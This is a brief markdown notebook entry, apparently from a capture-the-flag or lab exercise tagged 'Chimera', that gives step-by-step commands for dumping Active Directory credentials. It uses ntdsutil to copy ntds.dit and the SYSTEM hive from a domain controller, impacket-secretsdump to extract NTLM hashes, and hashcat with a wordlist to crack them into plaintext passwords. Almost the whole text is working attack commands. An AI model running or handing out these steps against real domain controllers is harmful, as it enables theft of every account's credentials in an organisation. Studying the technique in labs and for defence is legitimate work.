# Download ntds.dit SYSTEM & Crack ###### tags: `Chimera` [reference](https://www.jianshu.com/p/e49d017cf7dd) ## Create ntds.dit & SYSTEM ### in windows cmd(with Admin) ```= ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit ``` ## Download to Local ## Crack ### step1 ```= impacket-secretsdump -system <SYSTEM> -ntds <ntds.dit> LOCAL ``` ![](https://i.imgur.com/wxyJ4Ul.png) ### step2 copy hash in file.txt ![](https://i.imgur.com/AikIotk.png) ### step3 Crack hash with Hachcat ```= hashcat -m 1000 -a 0 file.txt wordlist.txt -o password.txt ``` ![](https://i.imgur.com/JKdP1rD.png) ![](https://i.imgur.com/PUDRBEU.png)